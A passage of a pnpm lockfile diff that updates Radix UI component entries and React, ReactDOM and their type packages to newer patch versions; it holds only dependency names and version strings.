-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-size': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-size': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-tabs@1.1.18(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-tabs@1.1.21(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toast@1.2.20(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toast@1.2.23(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-collection': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-callback-ref': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-collection': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-callback-ref': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toggle-group@1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toggle-group@1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle': 1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toggle-group@1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toggle-group@1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle': 1.1.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle': 1.1.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toggle@1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toggle@1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toggle@1.1.15(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toggle@1.1.18(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toolbar@1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toolbar@1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-separator': 1.1.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle-group': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-separator': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle-group': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-toolbar@1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-toolbar@1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-direction': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-roving-focus': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-separator': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-toggle-group': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-direction': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-roving-focus': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-separator': 1.1.15(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-toggle-group': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-tooltip@1.2.10(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-tooltip@1.2.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
       '@radix-ui/primitive': 1.1.4
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.1.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.6(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.13(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.1(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.12(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.6(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-tooltip@1.2.13(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)':
+  '@radix-ui/react-tooltip@1.2.16(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)':
     dependencies:
-      '@radix-ui/primitive': 1.1.6
-      '@radix-ui/react-compose-refs': 1.1.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-context': 1.2.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-dismissable-layer': 1.1.16(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-id': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-popper': 1.3.4(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-portal': 1.1.14(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-presence': 1.1.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-primitive': 2.1.7(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      '@radix-ui/react-slot': 1.3.0(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-controllable-state': 1.2.4(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-visually-hidden': 1.2.8(@types/react-dom@19.2.3(@types/react@19.2.17))(@types/react@19.2.17)(react-dom@19.2.7(react@19.2.7))(react@19.2.7)
-      react: 19.2.7
-      react-dom: 19.2.7(react@19.2.7)
+      '@radix-ui/primitive': 1.1.7
+      '@radix-ui/react-compose-refs': 1.1.5(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-context': 1.2.2(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-dismissable-layer': 1.1.19(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-id': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-popper': 1.3.7(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-portal': 1.1.17(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-presence': 1.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-primitive': 2.1.10(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      '@radix-ui/react-slot': 1.3.3(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-controllable-state': 1.2.6(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-use-layout-effect': 1.1.4(@types/react@19.2.18)(react@19.2.8)
+      '@radix-ui/react-visually-hidden': 1.2.11(@types/react-dom@19.2.4(@types/react@19.2.18))(@types/react@19.2.18)(react-dom@19.2.8(react@19.2.8))(react@19.2.8)
+      react: 19.2.8
+      react-dom: 19.2.8(react@19.2.8)
     optionalDependencies:
-      '@types/react': 19.2.17
-      '@types/react-dom': 19.2.3(@types/react@19.2.17)
+      '@types/react': 19.2.18
+      '@types/react-dom': 19.2.4(@types/react@19.2.18)
 
-  '@radix-ui/react-use-callback-ref@1.1.1(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-callback-ref@1.1.1(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-callback-ref@1.1.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-callback-ref@1.1.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-controllable-state@1.2.2(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-callback-ref@1.1.4(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-effect-event': 0.0.2(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      react: 19.2.8
     optionalDependencies:
-      '@types/react': 19.2.17
+      '@types/react': 19.2.18
 
-  '@radix-ui/react-use-controllable-state@1.2.3(@types/react@19.2.17)(react@19.2.7)':
+  '@radix-ui/react-use-controllable-state@1.2.2(@types/react@19.2.18)(react@19.2.8)':
     dependencies:
-      '@radix-ui/react-use-effect-event': 0.0.3(@types/react@19.2.17)(react@19.2.7)
-      '@radix-ui/react-use-layout-effect': 1.1.2(@types/react@19.2.17)(react@19.2.7)
-      react: 19.2.7
+      '@radix-ui/react-use-effect-event': 0.0.2(@types/react@19.2.18)(react@19.2.8)
